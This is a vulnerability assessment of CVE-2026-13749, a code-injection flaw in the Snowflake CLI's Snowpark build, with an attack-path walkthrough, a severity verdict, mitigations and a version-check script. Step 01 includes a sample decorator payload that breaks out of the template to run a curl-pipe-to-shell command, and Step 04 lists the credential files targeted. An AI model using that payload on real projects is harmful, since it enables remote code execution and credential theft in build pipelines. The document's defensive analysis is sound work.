← Back to Feed CACHED · 2026-06-30 01:52:59 · CACHE_KEY CVE-2026-13749
CVE-2026-13749 · CWE-94 · Disclosed 2026-06-29

Improper neutralization in the Snowpark annotation processor callback template in Snowflake CLI versions…

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

A Snowflake build command that trusts the project it's building — and runs whatever the project tells it to

Snowflake CLI's snow snowpark build / nativeapp codegen snowpark pipeline scans Python source for Snowpark decorators (@udf, @sproc, etc.) and writes generator code from a callback template. Prior to 3.19.0, the annotation processor failed to neutralize attacker-controlled values pulled out of those decorators when interpolating them into the generated Python — a textbook CWE-94 template injection. Feed the CLI a Python file whose decorator arguments contain quote-breakouts and you get arbitrary code execution in the context of whoever ran the build. All Snowflake CLI builds < 3.19.0 are affected; 3.19.0 (released 2026-05-26) and later are patched.

Vendor's HIGH/8.8 is honest but slightly inflated by the AV:N tag. There is no listening service here — 'network' really means 'attacker-supplied content reaches the developer's box.' The UI:R requirement (a human or pipeline must actually invoke snow snowpark build) and the narrow installed base (Snowpark developers, not the whole Snowflake user population) argue for a small trim. But the role-multiplier in CI/CD and credentialed dev boxes is what holds this firmly in the HIGH bucket — see below.

"Vendor 8.8 holds. Dev-tool CVE that becomes a supply-chain pivot the second it runs in CI against untrusted PRs."
02 · The Attack Path

5 steps from start to impact.

STEP 01

Plant a poisoned Snowpark project

Attacker publishes a public Snowpark sample repo, opens a PR against a target's internal Snowpark project, or seeds a malicious package on internal Artifactory/PyPI. The payload is a Python source file containing a decorator (@udf, @sproc, @vectorized) whose string arguments are crafted to break out of the callback template's string context — e.g., name="x\"); __import__('os').system('curl …|sh'); ('". Tools: any text editor; PoC pattern mirrors known Jinja/format-string injection generators.
Conditions required:
  • Attacker can get a Python file into a path the victim will build
  • Victim project uses Snowpark codegen / nativeapp pipeline
Where this breaks in practice:
  • Internal repos with mandatory code review catch the obvious payloads
  • Most enterprises pin Snowpark templates to internal forks
Detection/coverage: Standard SAST (Semgrep, CodeQL) will flag suspicious decorator string literals if rules are tuned; default rulesets do not.
STEP 02

Victim runs snow snowpark build or snow app codegen

Developer pulls the project (or CI runs the pipeline on the PR) and invokes the build. Snowflake CLI parses the decorators, feeds the attacker-controlled string into the callback template, and writes a generator .py that contains the injected payload verbatim.
Conditions required:
  • Snowflake CLI < 3.19.0 installed
  • Build executed against the malicious tree
Where this breaks in practice:
  • Many shops still use the older PyPI snowflake-snowpark-python flow rather than the snow CLI codegen
  • Pre-commit hooks rarely block decorator content
Detection/coverage: No EDR signature exists for this; behavioral EDR may catch the resulting python -c / curl|sh child of snow.
STEP 03

Generated stub is executed

The build step either imports or invokes the generated file as part of packaging the Snowpark artifact. The injected code runs as the user running snow — typically the developer, or the CI runner's service account.
Conditions required:
  • Generated module is imported during build (it is, by design)
Where this breaks in practice:
  • Sandboxed CI (ephemeral containers, read-only FS) limits persistence — does not stop egress
Detection/coverage: Outbound connections from a build runner to non-allowlisted destinations is the highest-fidelity signal; egress allowlisting catches this cleanly.
STEP 04

Credential and token harvest

The first thing real-world payloads grab is ~/.snowflake/config.toml, SNOWFLAKE_* env vars, OAuth refresh tokens, and any AWS/GCP/Azure creds adjacent on the runner. Snowflake creds in particular often carry ACCOUNTADMIN or large warehouse rights for the project's prod account.
Conditions required:
  • Runner has Snowflake credentials in env or on disk (almost always true for Snowpark CI)
Where this breaks in practice:
  • Workload-identity federation (no static creds) eliminates the file-on-disk path
  • Snowflake key-pair auth with HSM-resident keys can't be exfiltrated, only abused live
Detection/coverage: Snowflake's LOGIN_HISTORY + QUERY_HISTORY from unexpected client IDs / IPs is the canonical detection.
STEP 05

Pivot — Snowflake data egress or supply-chain push

With harvested creds, attacker runs SELECT * FROM … against production data, creates a malicious external function, or — if the compromised pipeline publishes a Snowpark package internally — implants a second stage in the build output so downstream consumers compromise themselves. This is the classic dev-tool → supply-chain promotion.
Conditions required:
  • Compromised account has read or write on prod schemas, OR the pipeline publishes artifacts others consume
Where this breaks in practice:
  • Snowflake network policies (IP allowlist), MFA-on-token-refresh, and per-role data masking blunt mass egress
Detection/coverage: Snowflake Trust Center / IMPACT analysis surfaces anomalous bulk SELECTs; artifact-signing (Sigstore, in-toto) breaks the supply-chain leg.
03 · Intelligence Metadata

The supporting signals.

In-the-wild exploitationNone observed as of 2026-06-30. No KEV entry, no reports from Mandiant/Unit42/Volexity.
Public PoCNo public PoC repo at disclosure. The class (template-injection in code-generators) is trivially reproducible — expect community PoCs within 2 weeks.
EPSSPre-scoring at disclosure; comparable dev-tool RCEs (CVE-2026-6442 Cortex Code CLI) seeded at ~0.15% / 35th percentile and crept up slowly.
KEV statusNot KEV-listed (2026-06-30).
CVSS v3.1AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H8.8 HIGH. UI:R is doing a lot of work — there is no listening service.
Affected versionsSnowflake CLI < 3.19.0 (all 1.x, 2.x, 3.0–3.18.x).
Fixed version3.19.0 (2026-05-26). No distro backports — install via pip install --upgrade snowflake-cli or brew upgrade snowflake-cli.
Exposure populationNo GreyNoise/Shodan signal (not a network-service bug). Installed base is Snowpark/Native-App developers — a low-thousands of orgs globally, but heavily weighted to data-platform teams with prod Snowflake credentials.
Disclosure2026-06-29 by Snowflake PSIRT, ~5 weeks after the silent fix shipped in 3.19.0.
ReporterCredit per Snowflake security bulletin (internal discovery or coordinated researcher — confirm on the bulletin page).
04 · The Call

noisgate verdict.

Final Verdict
= UNCHANGED to HIGH (7.8/10)

Held at HIGH because the affected component sits on CI/CD runners and developer workstations that hold production Snowflake credentials — a single successful build promotes a dev-tool RCE into mass data egress or a supply-chain pivot. The UI:R + narrow installed-base friction shaves the score from 8.8 to 7.8 but cannot break the role-multiplier floor.

HIGH Technical bug class and patched version
MEDIUM Real-world CI/CD exposure rate among Snowpark users
LOW Near-term exploitation likelihood (no public PoC yet)

Why this verdict

  • Vendor baseline fair: 8.8 reflects a real arbitrary-code-execution primitive in a developer pipeline; not inflated.
  • Friction adjustment −0.5: UI:R + non-listening service + installed base limited to Snowpark developers narrows realistic exposure vs. a true unauth network RCE.
  • Friction adjustment −0.5: Most internal Snowpark projects build from trusted-only source; the malicious-PR vector requires either weak code review or accepting external PRs into the build pipeline.
  • Role multiplier — CI/CD runner: Chain succeeds; blast radius is the runner's Snowflake credentials (often ACCOUNTADMIN-equivalent for the project warehouse) and any downstream consumers of the published Snowpark artifact → fleet-scale data egress / supply-chain pivot. This is the floor-setting role.
  • Role multiplier — developer workstation: Chain succeeds; blast radius is the developer's local Snowflake config plus any cloud-CLI creds on the box → tenant-scope compromise.
  • Role multiplier — analyst laptop running ad-hoc snow snowpark build: Chain succeeds but blast radius is limited to that user's role-scoped Snowflake credentials, no supply-chain leg.

Why not higher?

Not CRITICAL because (a) no listening network service — exploitation requires the victim to actively build attacker-controlled source, (b) the canonical Snowpark codegen footprint is a fraction of the Snowflake user base, not infrastructure-scale, and (c) no in-the-wild exploitation or public PoC at disclosure. Promote to CRITICAL only if a PoC drops AND your CI builds external-PR content.

Why not lower?

Not MEDIUM because the affected component canonically holds production Snowflake credentials on CI runners and lead-developer workstations; the role-multiplier floor for a credentialed data-plane pipeline is HIGH regardless of how narrow the trigger is. Friction reduces probability, not consequence.

05 · Compensating Control

What to do — in priority order.

  1. Upgrade Snowflake CLI to ≥ 3.19.0 fleet-wide — The only true fix. Push via pip install --upgrade snowflake-cli in your dev-tooling baseline, brew formula bump, or the CI runner image rebuild. Per noisgate HIGH mitigation SLA, complete within 30 days; remediation (full version pin in lockfiles + image bake) within 180 days.
  2. Block snow snowpark build / snow app codegen from running on untrusted PR content in CI — Until upgrade lands, gate the build step on github.event.pull_request.head.repo.full_name == github.repository (no fork PRs), or run untrusted PRs in a network-isolated sandbox with no Snowflake credentials mounted. Deploy within 30 days of disclosure.
  3. Rotate Snowflake credentials accessible from any CI runner that built untrusted source in the last 90 days — Assume worst-case if you accept external PRs. Rotate key-pair private keys, OAuth client secrets, and any SNOWFLAKE_PASSWORD env values; reissue from HSM where possible.
  4. Enforce Snowflake network policies (CREATE NETWORK POLICY) + MFA on all service users — Caps the blast radius if a token is stolen — exfiltrated creds become useless from an attacker IP.
  5. Egress-allowlist CI runners — Outbound network from build runners should reach only your package registry, Snowflake endpoints, and source control. Stops the curl-pipe-sh stage cold.
What doesn't work
  • WAF / IPS rules — there is no network protocol to inspect; the malicious bytes arrive over git or pip.
  • Snowflake-side row-level security — does not stop a credential-holder from running queries within their granted scope.
  • EDR signatures for CVE-2026-13749 — vendors will not ship a signature for a template-injection class; rely on behavioral (unexpected child of snow/python) instead.
  • SAST on the CLI repo — you need SAST on the *projects being built*, with rules targeting decorator-string content.
06 · Verification

Crowdsourced verification payload.

Run on every developer workstation and CI runner that has Snowflake CLI installed. Invoke as bash check-cve-2026-13749.sh — no root required, just needs snow on PATH (or pip in the same venv).

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# check-cve-2026-13749.sh — Snowflake CLI Snowpark annotation processor RCE
# Exit codes: 0 PATCHED, 1 VULNERABLE, 2 UNKNOWN / not installed
set -u

FIXED_MAJOR=3
FIXED_MINOR=19
FIXED_PATCH=0

ver_raw=""
if command -v snow >/dev/null 2>&1; then
  ver_raw="$(snow --version 2>/dev/null | grep -Eo '[0-9]+\.[0-9]+\.[0-9]+' | head -n1)"
fi

if [ -z "$ver_raw" ]; then
  # fall back to pip
  if command -v pip >/dev/null 2>&1; then
    ver_raw="$(pip show snowflake-cli 2>/dev/null | awk '/^Version:/ {print $2}')"
  fi
fi

if [ -z "$ver_raw" ]; then
  echo "UNKNOWN — Snowflake CLI not detected on this host"
  exit 2
fi

IFS='.' read -r MAJ MIN PAT <<<"$ver_raw"
MAJ=${MAJ:-0}; MIN=${MIN:-0}; PAT=${PAT:-0}

vulnerable=0
if [ "$MAJ" -lt "$FIXED_MAJOR" ]; then
  vulnerable=1
elif [ "$MAJ" -eq "$FIXED_MAJOR" ] && [ "$MIN" -lt "$FIXED_MINOR" ]; then
  vulnerable=1
elif [ "$MAJ" -eq "$FIXED_MAJOR" ] && [ "$MIN" -eq "$FIXED_MINOR" ] && [ "$PAT" -lt "$FIXED_PATCH" ]; then
  vulnerable=1
fi

if [ "$vulnerable" -eq 1 ]; then
  echo "VULNERABLE — snowflake-cli $ver_raw (< 3.19.0) — CVE-2026-13749"
  exit 1
fi

echo "PATCHED — snowflake-cli $ver_raw"
exit 0
07 · Bottom Line

If you remember one thing.

TL;DR
Treat this as a credentialed-dev-pipeline HIGH, not a generic 'CLI bug.' Monday morning: inventory snow on every dev workstation and CI runner, push the 3.19.0 upgrade through your existing pip/brew/image baseline, and block fork-PR builds from invoking snow snowpark build until the upgrade lands. noisgate mitigation SLA: 30 days to deploy the compensating controls (PR gating + egress allowlists + credential rotation for any runner that built untrusted source). noisgate remediation SLA: 180 days to fully pin ≥ 3.19.0 in lockfiles, base images, and developer onboarding scripts. If a public PoC drops or you spot anomalous LOGIN_HISTORY from CI runner IPs, collapse both timelines to hours and treat as active exploitation.

Sources

  1. Snowflake CLI 2026 release notes
  2. Snowflake Security Bulletins
  3. snowflakedb/snowflake-cli GitHub Releases
  4. Snowflake CVE landing — OpenCVE
  5. Snowflake Native App CVE guidance
  6. Related: CVE-2026-6442 Cortex Code CLI RCE (comparable dev-tool class)
  7. GHSA mirror for Snowflake CLI advisories
  8. CWE-94: Improper Control of Generation of Code
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.